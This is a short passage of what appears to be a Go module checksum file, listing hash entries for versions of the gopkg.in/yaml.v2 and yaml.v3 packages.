270 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
271 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
272 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
273 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
274 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
275 |
--------------------------------------------------------------------------------